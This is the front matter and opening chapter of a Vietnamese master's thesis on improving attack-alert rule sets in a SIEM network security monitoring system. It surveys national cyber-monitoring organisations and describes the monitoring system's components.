Vậy vấn đề đặt ra ở đây đó là người quản trị hệ thống cần có một cái nhìn tổng quát về bức tranh của hệ thống mạng dựa trên việc thu thập dữ liệu vào ra trong hệ thống từ các thiết bị, d
Trang 2LUẬN VĂN THẠC SĨ NGÀNH CÔNG NGHỆ THÔNG TIN
NGƯỜI HƯỚNG DẪN KHOA HỌC: TS NGUYỄN NGỌC HÓA
Hà Nội - 2015
Trang 3LỜI CẢM ƠN
Luận văn Thạc sĩ này được thực hiện tại Đại học Công nghệ - Đại học Quốc gia Hà Nội dưới sự hướng dẫn của TS Nguyễn Ngọc Hóa Xin được gửi lời cảm ơn sâu sắc đến thầy Nguyễn Ngọc Hóa về những ý kiến quý báu liên quan đến các định hướng khoa học, liên tục quan tâm, tạo điều kiện thuận lợi cho tôi trong suốt quá trình nghiên cứu hoàn thành luận văn này Tôi xin được gửi lời cảm ơn đến các thầy,
cô trong Bộ môn Hệ thống Thông tin cũng như Khoa Công nghệ Thông tin đã mang lại cho tôi những kiến thức vô cùng quý giá và bổ ích trong quá trình theo học tại trường
Tôi xin gửi lời cảm ơn tới các đồng chí lãnh đạo đơn vị nơi tôi công tác đã tạo điều kiện và thời gian để tôi có thể hoàn thành chương trình học của mình Bên cạnh
đó tôi xin gửi lời cám ơn tới các đồng nghiệp trong Ban cơ yếu Chính phủ đã tạo điều kiện và giúp đỡ tôi hoàn thành khóa luận này một cách tốt nhất
Cuối cùng tôi cũng xin chân thành cảm ơn đến các học viên cao học khóa K19, K20, K21 đã giúp đỡ tôi trong suốt thời gian học tập
Do thời gian và kiến thức có hạn nên luận văn chắc không tránh khỏi những thiếu sót nhất định Tôi rất mong nhận được những sự góp ý quý báu của thầy cô và các bạn
Hà Nội, ngày 1 tháng 10 năm 2015
Nguyễn Thị Thu Hằng
Trang 4TÓM TẮT Ngày nay với sự phát triển mạnh mẽ của Internet đã làm tăng nguy cơ mất an toàn và rò rỉ thông tin Để hạn chế được vấn đề này mỗi hệ thống mạng cần có những biện pháp cụ thể để có thể kiểm soát được tình trạng hiện tại của hệ thống và có những biện pháp đối phó cụ thể khi có tấn công xảy ra Vậy vấn đề đặt ra ở đây đó là người quản trị hệ thống cần có một cái nhìn tổng quát về bức tranh của hệ thống mạng dựa trên việc thu thập dữ liệu vào ra trong hệ thống từ các thiết bị, dịch vụ và ứng dụng đang được sử dụng trong chính hệ thống đó chẳng hạn như: Mail Server, Firewall, IDS (Intrusion Detection System), IPS (Intrusion Prevention System), Anti-Virus,… Những dữ liệu này sau đó sẽ được phân tích đối chiếu với những dấu hiệu, hoặc tập luật có sẵn để đánh giá và đưa ra các cảnh báo chính xác tới người quản trị hệ thống
Tuy nhiên, số lượng nhật ký hệ thống từ các thiết bị, dịch vụ hoặc ứng dụng trong hệ thống là tương đối lớn với nhiều định dạng khác nhau Ngoài ra, do khối lượng nhật ký hệ thống thu được quá lớn nên một số thông tin cảnh báo quan trọng có thể bị bỏ qua dẫn đến sự cố gây mất an toàn thông tin khi không được cảnh báo và xử
lý kịp thời Do đó, cần có một hệ thống để có thể quản lý, tổ chức, theo dõi những hiểm họa gây mất an toàn thông tin có thể xảy ra với hệ thống, từ đó đưa ra các biện pháp đối phó, ngăn chặn nhằm làm giảm các thiệt hại xuống mức thấp nhất có thể Một hệ thống như vậy được gọi là hệ thống giám sát an ninh mạng
Hệ thống giám sát an ninh mạng (GSANM) thực hiện thu thập, quản lý, và phân tích các sự kiện an ninh, sau đó so sánh với các dấu hiệu và tập luật có sẵn nhằm đưa
ra các đánh giá cảnh báo cho người quản trị hệ thống Tuy nhiên, việc cập nhật các tập luật này một cách thường xuyên là một việc làm vô cùng cần thiết, bên cạnh đó việc
bổ sung các định dạng dữ liệu nhật ký mới chưa có cho hệ thống cũng rất quan trọng, nhằm nâng cao hiệu quả cho hệ thống GSANM Do vậy, luận văn này hướng tới mục tiêu chính là nghiên cứu cải tiến tập luật trong hệ thống giám sát an ninh mạng để đưa
ra các cảnh báo tấn công
Trong luận văn này tôi đã tiến hành (i) khảo sát thực tế tập luật hiện có trong hệ thống giám sát tại Ban Cơ yếu Chính phủ; từ đó (ii) tiến hành đề xuất mô hình cải tiến tập luật đã có; và (iii) thử nghiệm mô hình đề xuất cải tiến tập luật với định hướng nâng cao hiệu quả trong khả năng giám sát hệ thống mạng cũng như đưa ra các cảnh báo chính xác tới người quản trị hệ thống
Từ khóa: Giám sát an ninh mạng, Tập luật, SIEM (Security Information and
Event Management)
Trang 5LỜI CAM ĐOANTôi xin cam đoan luận văn “Nghiên cứu cải tiến tập luật trong hệ thống
giám sát an ninh mạng” là công trình nghiên cứu của cá nhân tôi dưới sự hướng dẫn
của TS Nguyễn Ngọc Hóa, trung thực và không sao chép của tác giả khác Trong toàn
bộ nội dung nghiên cứu của luận văn, các vấn đề được trình bày đều là những tìm hiểu
và nghiên cứu của chính cá nhân tôi hoặc là được trích dẫn từ các nguồn tài liệu có ghi tham khảo rõ ràng, hợp pháp
Tôi xin chịu mọi trách nhiệm và mọi hình thức kỷ luật theo quy định cho lời cam đoan này
Hà Nội, ngày 1 tháng 10 năm 2015
Nguyễn Thị Thu Hằng
Trang 6MỤC LỤC
LỜI CẢM ƠN i
TÓM TẮT ii
LỜI CAM ĐOAN iii
MỤC LỤC iv
DANH SÁCH CÁC KÝ HIỆU VÀ TỪ VIẾT TẮT vi
DANH MỤC BẢNG x
MỞ ĐẦU 1
CHƯƠNG I: KHẢO SÁT, ĐÁNH GIÁ HỆ THỐNG GIÁM SÁT AN NINH MẠNG 3 1.1 Tình hình chung 3
1.1.1 Tình hình giám sát an ninh mạng tại một số nước trên thế giới 3
1.1.2 Tình hình giám sát an ninh mạng tại Việt Nam 4
1.2 Hệ thống GSANM đang được triển khai hiện tại 5
1.2.1 Giới thiệu về hệ thống GSANM 5
1.2.2 Các thành phần chức năng của hệ thống GSANM 7
1.2.3 Mô hình của hệ thống GSANM 9
1.3 Giao diện quản lý của hệ thống GSANM 11
CHƯƠNG II: NGHIÊN CỨU MỘT SỐ DẠNG TẤN CÔNG PHỔ BIẾN VÀO ỨNG DỤNG WEB 16
2.1 Các kỹ thuật tấn công phổ biến vào ứng dụng Web 16
2.1.1 Kỹ thuật tấn công Tiêm mã SQL 16
2.1.2 Kỹ thuật tấn công XSS 22
2.1.3 Kỹ thuật tấn công Tràn bộ đệm 31
2.2 Các kỹ thuật tấn công vượt qua Tường lửa ứng dụng web 34
2.2.1 Tường lửa ứng dụng web là gì? 34
2.2.2 Một số phương pháp tấn công vượt các thiết bị Tường lửa ứng dụng web……… 35
CHƯƠNG III: PHƯƠNG PHÁP TRÍCH XUẤT CÁC TRƯỜNG THÔNG TIN QUAN TRỌNG TỪ NHẬT KÝ HỆ THỐNG 39
3.1 Yêu cầu thực tiễn 39
3.2 Giải pháp trích xuất các trường thông tin quan trọng từ nhật ký hệ thống hệ thống……… 40
3.2.1 Mô hình chung 40
3.2.2 Các bước thực hiện 40
Trang 7CHƯƠNG IV: XÂY DỰNG TẬP LUẬT CẢNH BÁO TẤN CÔNG CHO HỆ
THỐNG GIÁM SÁT AN NINH MẠNG VÀ TRIỂN KHAI THỬ NGHIỆM 52
4.1 Thực trạng hệ thống GSANM tại Ban Cơ yếu Chính phủ 52
4.2 Các luật sẽ bổ sung vào hệ thống GSANM 53
4.3 Các bước tạo luật cho hệ thống GSANM 55
4.4 Thực nghiệm triển khai hệ thống GSANM tại TTCNTT&GSANM 62
4.4.1 Mô hình thực nghiệm 62
4.4.2 Thu thập nhật ký hệ thống 63
4.5 Kết quả thực nghiệm 64
KẾT LUẬN CHUNG 69
TÀI LIỆU THAM KHẢO 70
Trang 8DANH SÁCH CÁC KÝ HIỆU VÀ TỪ VIẾT TẮT
TTCNTT & GSANM Trung tâm Công nghệ Thông tin & Giám sát an ninh mạng
Trang 9URL Unifrom Resource Locator
Trang 10DANH MỤC HÌNH VẼ
Hình 1.1: Các thành phần của hệ thống GSANM 8
Hình 1.2: Mô hình hệ thống GSANM phân tán 9
Hình 1.3: Mô hình hệ thống GSANM độc lập 11
Hình 1.4: Tap Dashboard 11
Hình 1.5: Tap Offenses 12
Hình 1.6: Tap Log Activity 12
Hình 1.7: Network Activity 13
Hình 1.8: Tap Asset 13
Hình 1.9: Tap Report 14
Hình 1.10: Tab Admin 14
Hình 2.1: Ví dụ về một trang Web mua sắm trực tuyến 23
Hình 2.2: Minh họa trang web có lỗi XSS 24
Hình 2.3: Thông điệp lỗi tự động được tạo ra 25
Hình 2.4: Các bước thực hiên tấn công Reflected XSS 26
Hình 2.5: Các bước thực hiện Stored XSS 28
Hình 2.6: Các bước thực hiện tấn công DOM-Based XSS 31
Hình 2.7: Ví dụ mô tả tràn bộ đệm Heap 34
Hình 3.1: Mô hình trích xuất các trường thông tin quan trọng từ nhật ký hệ thống 40
Hình 3.2: Giao diện của Adaptive Log Exporter 41
Hình 3.3: Định dạng mẫu chung của log 45
Hình 3.4: Kết quả thực hiện cú pháp tìm tên sự kiện FTP 47
Hình 3.5: Kết quả thực hiện cú pháp tìm địa chỉ IP nguồn 47
Hình 3.6: Xác định tên sự kiện 48
Hình 3.7: Xác định các thông tin cụ thể khác cho nhật ký hệ thống 49
Hình 3.9: Log mới đã được định dạng 50
Hình 3.10: Thêm định dạng mới vào hệ thống GSANM 50
Hình 4.1: Các luật hiện có trong hệ thống 52
Hình 4.2: Các tập luật có sẵn của hệ thống GSANM 53
Hình 4.3: Xác định lưu lượng của các thiết bị, và toàn bộ lưu lượng mạng của hệ thống từng phút 54
Hình 4.4: Các bước cải tiến tập luật cho hệ thống 55
Hình 4.5: Cấu hình ghi nhật ký hệ thống cho Web IIS 6.0 56
Hình 4.6: Cấu hình thu thập nhật ký hệ thống trên hệ thống GSNAM 57
Trang 11Hình 4.7: Nhật ký hệ thống được hiển thị theo thời gian thực 57
Hình 4.8: Các thông số khác của nhật ký hệ thống 58
Hình 4.9: Khai báo máy chủ vào phần Web Server 58
Hình 4.10: Phân thích payload thu được và xác đinh dấu hiệu tấn công 59
Hình 4.11: Các bước tạo luật 60
Hình 4.12: Xác định các tham số cho luật 60
Hình 4.13: Định lượng mức độ rủi ro của luật và các tham số khác 61
Hình 4.14: Kết thúc quá trình tạo luật 61
Hình 4.15: Mô hình thực nghiệm 62
Hình 4.16: Nhật ký hệ thống thu thập được từ máy chủ web 63
Hình 4.17: Payload được hệ thống GSANM thu thập được 64
Hình 4.19: Các tập luật được đưa vào hệ thống GSANM 65
Hình 4.20: Cảnh báo hiện tượng bất thường và các tấn công vào hệ thống mạng đang được giám sát 65
Hình 4.21: Các cảnh báo tấn công khác mà hệ thống GSANM thu được 66
Hình 4.22: Nhật ký hệ thống các cảnh báo thu được 66
Hình 4.23: Hệ thống đưa ra cảnh báo tấn công LFI 67
Hình 4.24: Hệ thống đưa ra các cảnh báo các tấn công khác 67
Trang 12
DANH MỤC BẢNG
Bảng 3.1: Nhãn thông tin quan trọng 46 Bảng 3.2: Cú pháp lọc cơ bản trong Regex 48 Bảng 4.1: Bảng mô tả các tấn công 55
Trang 13MỞ ĐẦU
Với sự phát triển mạnh mẽ của Internet và World Wide Web đã đặt ra nhiệm vụ đảm bảo an toàn thông tin cho các hệ thống mạng của các cơ quan, tổ chức nhằm tránh khỏi những hiểm họa mất an toàn thông tin trước những tấn công mạng có thể xảy ra
Để có thể làm việc này các cơ quan, tổ chức phải có một hệ thống giám sát an ninh mạng đủ mạnh nhằm kiểm soát, thu thập toàn bộ lưu lượng dữ liệu vào ra cho cả một
hệ thống mạng và đưa ra những cảnh báo chính xác tới người quản trị hệ thống khi có tấn công xảy ra
Việc giám sát an ninh mạng hiện nay đã được các quốc gia trên thế giới vô cùng quan tâm và nó có vai trò sống còn cho an ninh quốc gia Trong đó, Mỹ là quốc gia đi tiên phong cho lĩnh vực giám sát an ninh mạng trên toàn cầu Ngoài ra, các quốc gia láng giềng bên cạnh nước ta như Hàn Quốc, Trung Quốc cũng xem đây là một nhiệm
vụ tối mật cho quốc phòng an ninh Tại Việt Nam, trong những năm gần đây giám sát
an ninh mạng cũng được xem là một nhiệm vụ trọng yếu được các cơ quan cấp bộ, ban, ngành vô cùng quan tâm và thực hiện công việc này một cách tích cực
Tuy nhiên, để có thể thực hiện tốt được nhiệm vụ này đòi hỏi phải có một chính sách giám sát an ninh mạng cả chiều rộng lẫn chiều sâu cộng với các thiết bị giám sát
an ninh mạng hiện đại Một hệ thống giám sát an ninh mạng tốt cần phải thu thập được tất cả các nhật ký vào ra của hệ thống, sau đó thực hiện phân tích những dữ liệu này,
và dựa trên những dấu hiệu hoặc tập luật sẵn có để đưa ra cảnh bảo tới người quản trị
Trong luận văn này tôi nghiên cứu về hệ thống giám sát an ninh mạng hiện tại đang được triển khai, nghiên cứu các kỹ thuật tấn công phổ biến vào ứng dụng Web, nhằm đưa ra các dấu hiệu tấn công để thiết kế tập luật phù hợp với từng hệ thống mạng, nghiên cứu cách thức trích xuất các trường thông tin quan trọng từ dữ liệu nhật
ký và xây dựng bổ sung cũng như chỉnh sửa các tập luật cho hệ thống GSANM Cuối cùng tôi tiến hành thực nghiệm triển khai hệ thống giám sát an ninh mạng tại đơn vị
Trang 14Trung tâm Công nghệ thông tin và Giám sát an ninh mạng (TTCNTT&GSANM) tại Ban Cơ yếu Chính phủ để đánh giá hiệu quả của các tập luật đã đƣợc thiết kế
Trang 15CHƯƠNG I: KHẢO SÁT, ĐÁNH GIÁ HỆ THỐNG GIÁM SÁT AN NINH
MẠNG 1.1 Tình hình chung
Thuật ngữ ―Giám sát an ninh mạng‖ (GSANM) không phải là mới nhưng có lẽ
nó vẫn còn xa lạ hoặc chưa được nhiều người biết đến Trong những thập niên trở lại đây, công nghệ thông tin phát triển một cách nhanh chóng, song song với các sáng tạo công nghệ nhằm giúp con người phát triển thì luôn tồn tại nhiều mặt trái của nó Các vấn đề còn tồn tại chính là các hiểm họa mất cắp thông tin quan trọng liên quan đến danh tiếng, tiền bạc, hoặc chỉ với mục đích giải trí,… do những kẻ tấn công thực hiện thông qua môi trường Internet
Theo báo cáo thường niên hàng năm về các hiểm họa an toàn Internet của hãng Symantec trong năm 2013-2014 đã thống kê dựa trên dữ liệu địa lý của dạng tấn công thông qua môi trường Interner liên quan đến mã độc, spam zombie, phishing host, máy tính nhiễm botnet, nguồn gốc tấn công mạng, nguồn gốc tấn công Web cho biết: Mỹ là quốc gia đứng đầu với 20.7 % về các hoạt động tấn công liên quan đến mã độc Tiếp sau đó là Trung Quốc, Ấn Độ, và Việt Nam đứng thứ 9 trong bảng xếp hạng này với 2.4% Cũng theo thống kê trên về các tấn công liên quan đến spam zombie thì Việt Nam là quốc gia xếp đầu tiên với 10.1%, tiếp sau đó là các nước như Hà Lan, Iran, Nga, Đức,… Liên quan đến các tấn công phishing host thì Mỹ là quốc gia xếp thứ nhất với 46.6%, trong đó Trung Quốc là quốc gia đứng đầu tiên với 16.5% các máy tính nhiễm botnet Ngoài ra Mỹ là nước đứng đầu với 21.1% các tấn công Web và Trung Quốc lại là nước đứng đầu với liên quan tới các tấn công mạng với 28.7% [1]
1.1.1 Tình hình giám sát an ninh mạng tại một số nước trên thế giới
Khi các hoạt động kinh tế, giáo dục, chính trị, quân sự hiện nay trên toàn thế giới đều dựa vào hệ thống mạng và kết nối Internet thì nguy cơ dẫn đến cuộc chiến tranh liên quan đến không gian mạng giữa các quốc gia đang dần được kích hoạt Nhận thấy những hiểm họa tiềm ẩn xuất phát từ Internet này mà các quốc gia trên thế giới đã và đang thành lập các lực lượng phản ứng phòng chống và tác chiến mạng
Trong đó Mỹ là quốc gia đã tập trung vào lĩnh vực an ninh mạng từ những năm
1990 Chịu trách nhiệm cho lĩnh vực này gồm có Bộ An ninh nội địa (Department of Homeland Security), Cục điều tra liên bang FBI (Federal Bureau of Investigation), Bộ Quốc phòng Mỹ (Department of Defense) và US Cyber Command Bộ An ninh nội địa
có trách nhiệm chính trong việc bảo đảm an ninh trong nước Đơn vị National Cyber Security Division của Bộ An ninh Nội địa được giao nhiệm vụ ―hợp tác làm việc với các cơ quan nhà nước, tư nhân và quốc tế để đảm bảo không gian mạng và quyền lợi không gian mạng của nước Mỹ‖ Đơn vị này cũng có một số chương trình để bảo vệ
cơ sở hạ tầng mạng chống lại các tấn công Đơn vị National Cyber Response Coordination Group thuộc đơn vị National Cyber Security Division bao gồm 13 cơ
Trang 16quan liên bang và có trách nhiệm phối hợp phản ứng liên bang trong sự cố không gian mạng mang tầm cỡ quốc gia Cyber Command, một đơn vị con nằm dưới sự quản lý của Cơ quan chỉ huy chiến lược Hoa Kỳ (US Strategic Command) có trách nhiệm đối phó với các mối đe dọa liên quan đến cơ sở hạ tầng mạng quân sự Các đơn vị thành viên của Cyber Command bao gồm các lực lượng Army Forces Cyber Command, Air Force 24, Hạm đội Cyber Command, và Marine Cyber Command [2], [3]
Tại Anh một lực lượng đặc biệt được thành lập đầu năm 2011 với tên gọi Cyber Security Operations Centre chịu trách nhiệm về cả khả năng tấn công và phòng thủ không gian mạng Trung tâm này thực hiện nhiệm vụ chính là giám sát sự phát triển và tình trạng hiện tại của hệ thống IT chính phủ Anh, phân tích các xu hướng và nâng cao
sự phản ứng lại khi có sự cố mạng xảy ra [2]
Tại Trung Quốc sách trắng về Quốc phòng năm 2004 đã nêu rõ Quân ủy Trung ương Trung Quốc (PLA) xác định PLA Air Force chịu trách nhiệm cho các hoạt động liên quan đến thông tin và hoạt động phản động liên quan đến thông tin Cục 4 của Tổng cục nhân viên PLA chịu trách nhiệm về các hoạt động phản động liên quan đến điện tử và nghiên cứu phát triển công nghệ chiến tranh thông tin, chịu trách nhiệm về khả năng không gian mạng cho quân đội Cục 3 chịu trách nhiệm cho các tín hiệu thông minh và tập trung vào việc thu thập, phân tích, khai thác thông tin điện tử Cục 3
và 4 cũng tiến hành nghiên cứu các công nghệ tiên tiến về bảo mật thông tin [2], [3]
Sách trắng của Bộ quốc phòng Hàn Quốc năm 2008 đã xác định an ninh mạng
là một thành phần thiết yếu của quốc phòng Năm 2010 sách này cũng vạch ra tấn công mạng là một trong những hiểm họa an toàn phi truyền thống Các đội ứng cứu khẩn cấp đã được thành lập ở mức quân đoàn để giám sát các hệ thống thông tin quốc phòng Trung tâm chiến tranh mạng (Cyber War Center) của Bộ quốc phòng đã được thành lập năm 2010 Mục đích chính của trung tâm này là tăng tính bảo mật cho hệ thống mạng của chính phủ và các thông tin tài chính Bộ quốc phòng cũng tuyên bố tạo ra một đơn vị Cyber Warfare Command độc lập chịu trách nhiệm cho các hoạt động phòng thủ và tấn công trong không gian mạng Hội đồng chiến lược An ninh mạng Quốc gia (National Cybersecurity Strategy Council) là cơ quan điều phối phát triển các chính sách không gian mạng, và được chủ trì bởi người đứng đầu các hoạt động tình báo quốc gia (National Intelligence Service) [2]
1.1.2 Tình hình giám sát an ninh mạng tại Việt Nam
Tại Việt Nam các cơ quan bộ ngành khác nhau chịu trách nhiệm giám sát an ninh mạng cho từng lĩnh vực khác nhau Để thực hiện GSANM yêu cầu và đòi hỏi một
sự đầu tư lớn về con người và vật chất, bên cạnh đó các chuyên gia thực hiện GSANM phải am hiểu và có trình độ kỹ thuật sâu đối với công nghệ thông tin nói chung và các mảng đặc biệt về mạng nói riêng
Trang 17Bộ Thông tin và Truyền thông thực hiện nhiệm vụ, quyền hạn quy định tại Nghị định số 36/2012/NĐ-CP và Nghị định số 132/2013/NĐ-CP bảo đảm an toàn thông tin cho các hệ thống thông tin và Internet; bảo đảm an toàn thông tin cho các hoạt động ứng dụng và phát triển công nghệ thông tin; phòng, chống thư rác; tổ chức thực hiện chức năng quản lý, điều phối các hoạt động ứng cứu sự cố máy tính trong toàn quốc Trung tâm Ứng cứu khẩn cấp máy tính Việt Nam (Vietnam Computer Emergency Response Team - VNCERT) là đơn vị trực thuộc Bộ thông tin – Truyền thông được thành lập ngày 20/12/2005 theo quyết định số 339/QĐ-TTg của Thủ tướng Chính phủ thực hiện chức năng điều phối và tổ chức các hoạt động phản ứng nhanh các sự cố máy tính cho mạng Internet Việt Nam [16]
Bên cạnh đó Bộ Quốc phòng thực hiện quản lý nhà nước về an toàn thông tin trong lĩnh vực quốc phòng Một đơn vị khác chịu trách nhiệm xây dựng, đề xuất ban hành các tiêu chuẩn và quy định kỹ thuật về mật mã trong an toàn và bảo mật thông tin
đó chính là Ban Cơ yếu Chính phủ Bộ Công an chịu trách nhiệm quản lý, kiểm soát, phòng ngừa, phát hiện, ngăn chặn, đấu tranh chống âm mưu, hoạt động lợi dụng hệ thống thông tin gây phương hại đến an ninh quốc gia, trật tự an toàn xã hội và lợi ích của công dân Bộ Công an đã có một số Cục chức năng liên quan tới hoạt động đảm bảo an toàn, an ninh cho hệ thống CNTT của các cơ quan Nhà nước như Cục Công nghệ tin học nghiệp vụ, Cục Phòng chống tội phạm công nghệ cao, Cục An ninh mạng, Cục An ninh thông tin…
Một số tổ chức khác cũng chung tay góp phần đảm bảo an ninh mạng cho quốc gia như: Hiệp hội an toàn thông tin (viết tắt là VNISA) đã ra đời và là tổ chức xã hội nghề nghiệp phi lợi nhuận đầu tiên hoạt động trong lĩnh vực bảo mật thông tin được nhà nước Việt Nam công nhận VNISA tập hợp các cá nhân, tổ chức làm công tác nghiên cứu giảng dạy, ứng dụng và phát triển an toàn thông tin nhằm hướng dẫn thực hiện các chủ trương đường lối của nhà nước trong việc ứng dụng và phát triển kỹ thuật, công nghệ, an toàn thông tin, đưa ra đề xuất, khuyến nghị với cơ quan quản lý nhà nước trong việc xây dựng cơ chế chính sách phát triển ngành [17]
Trung tâm an ninh mạng Bách Khoa, tên đầy đủ là Trung tâm phần mềm và giải pháp an ninh mạng là một trung tâm nghiên cứu của Trường Đại học Bách Khoa Hà Nội Hỗ trợ chuyên môn cho các cơ quan chức năng của Chính phủ trong công tác phòng chống, truy tìm tội phạm tin học tham gia, xây dựng luật pháp về tội phạm tin học Tham gia các hoạt động phòng chống tấn công phá hoại bằng CNTT; Hợp tác với các tổ chức An ninh mạng và Cứu hộ các sự cố máy tính của các nước trên thế giới và trong khu vực trong việc khắc phục sự cố máy tính, chia sẻ thông tin về an ninh thông tin
1.2 Hệ thống GSANM đang được triển khai hiện tại
1.2.1 Giới thiệu về hệ thống GSANM
Trang 18GSANM là hệ thống được xây dựng nhằm mục đích thu thập, theo dõi, phân tích các sự kiện, dữ liệu ra vào mạng từ đó phát hiện các tấn công mạng và đưa ra cảnh báo cho hệ thống mạng được giám sát Về bản chất đây là hệ thống phân tích sự kiện, luồng dữ liệu mà không tích hợp các giải pháp ngăn chặn vào trong đó Hệ thống này hoạt động độc lập và chỉ thu thập nhật ký hệ thống của các thiết bị, ứng dụng hay các luồng dữ liệu chứ không ảnh hưởng đến chúng Hệ thống GSANM được triển khai tại các hệ thống mạng có độ nhảy cảm cao hoặc có các thông tin cần bảo mật, hoặc cũng
có thể đơn giản chỉ là để theo dõi các diễn biến của mạng [4]
Về cơ bản hệ thống GSANM tuân thủ theo mô hình SIEM (Security Information and Event Management) Đây là mô hình chung cho hệ thống GSANM được sử dụng rất nhiều trên thế giới và các nhà sản xuất các thiết bị GSANM cũng dựa trên mô hình chuẩn này Đối với hệ thống GSANM chức năng chính của nó là sẽ thu thập:
Các sự kiện an ninh (Securtity Event): Được sinh ra từ các ứng dụng hoặc thiết bị như: Nhật ký hệ thống IIS, Firewall, VPN (Virtual Private Network), IDS (Intrusion Detection System), IPS (Intrusion Prevention System), …
Bối cảnh hoạt động mạng (Network activity context): Tầng 7 bối cảnh ứng dụng từ lưu lượng mạng và lưu lượng các ứng dụng
Thông tin hệ điều hành: Tên nhà sản xuất và chi tiết về số phiên bản
Các nhật ký hệ thống ứng dụng: Kế hoạch nguồn lực doanh nghiệp (Enterprise Resource Planning – ERP), quy trình làm việc, cơ sở dữ liệu ứng dụng, nền tảng quản lý, … [5]
Với mỗi dòng nhật ký hệ thống sinh được tính là một sự kiện, các sự kiên được tính trên giây (EPS), và xử lý các luồng dữ liệu này được tính trên phút (FPM) sau đó
hệ thống sẽ tiến hành phân tích bằng các bộ luật và đưa ra các cảnh báo cần thiết tới nhà quản trị hệ thống
Về mô hình GSNAM được triển khai có hai dạng chính: Dạng phân tán và dạng hoạt động độc lập
Dạng phân tán (Distributed): Là mô hình mà trong đó có hệ thống xử lý được đặt ở trung tâm GSANM và mọi hoạt động của hệ thống như: Các sự kiện, luồng dữ liệu, …sẽ được xử lý tại trung tâm sau đó được hiển thị lên giao diện Web site Đối với mô hình này thường đòi hỏi một sự đầu tư quy
mô đầu và lực lượng con người phải nhiều mới đủ khả năng để vận hành hệ thống này
Dạng hoạt động độc lập (All in one): Đây là mô hình mà hệ thống được xây dựng riêng lẻ cho các đơn vị, và không liên quan tới nhau, có nghĩa là hệ thống hoạt động độc lập Các nhật ký hệ thống và luồng dữ liệu được trực tiếp thu thập tại mạng con, sau đó đẩy về thiết bị GSANM và tại đây luồng
Trang 19dữ liệu sẽ được xử lý Tuy nhiên, mô hình này phù hợp cho các ngân hàng
và đơn vị nhỏ và yêu cầu về đầu tư và lực lượng con người không cao [4],[6]
1.2.2 Các thành phần chức năng của hệ thống GSANM
Các thành phần chính của hệ thống GSANM được mô tả như hình 1.1 Trong đó:
CONSOLE:
o Là nơi xử lý, lưu trữ các sự kiện an ninh được cảnh báo, các sự kiện này được gửi lên từ Event Processor và Flow Processor Ngoài ra tại đây còn chứa các tập luật xử lý các dữ liệu, CONSOLE có khả năng hoạt động độc lập
o CONSOLE có hai giao diện, giao diện command line giúp người quản trị cấu hình, xử lý các lỗi hệ thống, và giao diện web là nơi hiển thị các cảnh báo cũng như các sự kiện thu thập được Các cảnh báo sẽ được lưu trữ tùy vào cấu hình quản trị trong bao lâu, thường là một năm cho mỗi hệ thống
o Năng lực hoạt động của CONSOLE tùy thuộc vào nhiều yếu tố như: Đường truyền mạng, cấu hình phần cứng, … thông thường hệ thống hoạt động với công suất 1000EPS và 100000FPM Khi hệ thống GSANM được thiết lập và cấu hình thì CONSOLE sẽ tự động cấu hình tương ứng cho các thiết bị khác một cách chủ động sau khi kết nối vào các thiết bị thông qua cổng 22 Từ đó các việc cấu hình các thiết bị trong hệ thống GSANM có thể được thực hiện thông qua CONSOLE bằng hai cách đó là qua giao diện Web với cổng 443 hoặc qua giao diện command line [6]
EVENT PROCESSOR (EP):
o Đây là nơi xử lý các sự kiện được gửi về từ Event Collector Các sự kiện này sẽ được xử lý thông qua các tập luật tại đây Nếu là cảnh báo hoặc các sự kiện từ các thiết bị an ninh đưa ra cảnh báo thì nó sẽ được gửi thẳng trực tiếp lên CONSOLE để xử lý Nếu là các sự kiện không đưa ra cảnh báo sẽ được lưu trữ tại đây mà không chuyển lên CONSOLE
o Các sự kiện được lưu trữ tùy theo cấu hình của quản trị, thường là ba tháng cho các sự kiện không đưa ra cảnh báo Các nhật ký hệ thống không đưa ra cảnh báo nó sẽ được quản lý qua giao diện web của CONSOLE [6]
Trang 20 FLOW PROCESSOR (FP): Đây là nơi xử lý luồng dữ liệu, FP nhận dữ
liệu từ Flow Collector và xử lý dựa trên các tập luật của FP Sau đó, các cảnh báo sẽ được nó gửi lên CONSOLE còn các sự kiện không đưa ra cảnh báo sẽ được lưu trữ tại FP và được quản lý dựa trên giao diện web của CONSOLE Thời gian lưu trữ các sự kiện này tùy thuộc vào cấu hình thường là ba tháng
Hình 1.1: Các thành phần của hệ thống GSANM
EVENT COLLECTOR (EC):
o Là nơi thu thập nhật ký hệ thống, tiếp nhận các nhật ký hệ thống từ các thiết bị, hoặc các ứng dụng gửi về Tại đây nhật ký hệ thống sẽ được mã hóa, nén và gửi về EP qua cổng 22 Sau đó nó sẽ được EP phân tích và xử lý
o Đối với EC có rất nhiều phương pháp lấy nhật ký hệ thống khác nhau VD: Cài đặt agent lên các máy tính cần thu thập và gửi nhật ký hệ thống đã được chỉ định về cho EC Tại CONSOLE người quản trị sẽ cấu hình cho EC thu nhận các nhật ký hệ thống từ các agent này Sau
đó các nhật ký hệ thống này sẽ được quản lý dựa trên giao diện web của CONSOLE EC chỉ có khả năng thu thập các sự kiện mà không
có khả năng thu thập các luồng dữ liệu Với một thiết bị, dịch vụ như IIS, thường có khoảng 20 sự kiện trên giây (20 EPS) [7]
Trang 21 FLOW COLLECTOR (FC): Đây là nơi thu thập các luồng dữ liệu từ
mạng được giám sát FC thường thu nhận luồng dữ liệu từ các switch có chức năng span port của Cisco Sau đó dữ liệu cũng được nén, mã hóa và chuyển về FP xử lý thông qua cổng 22 CONSOLE sẽ cấu hình cho FC lắng nghe ở cổng Ethernet được kết nối với span port để thu thập dữ liệu Khả năng xử lý hiện tại trên hệ thống GSANM đối với FC là 220000FPM [6] Các thiết bị phần cứng EC và FC của hệ thống GSANM có chức năng thu thập nhật ký hệ thống ở dạng ―thô‖ là dạng chưa được phân tích Đối với mỗi thiết bị này người quản trị hệ thống cần cung cấp địa chỉ IP tĩnh public, sau đó việc trao đổi dữ liệu qua hệ thống sẽ được mã hóa, nén lại và gửi tới EP, FP để phân tích và xử lý thông qua cổng 22 CONSOLE sẽ hiển thị dữ liệu lên giao diện web để người quản trị có thể sẽ xem các cảnh báo này thông qua cổng 443
1.2.3 Mô hình của hệ thống GSANM
1.2.3.1 Hệ thống GSANM phân tán
Hình 1.2: Mô hình hệ thống GSANM phân tán
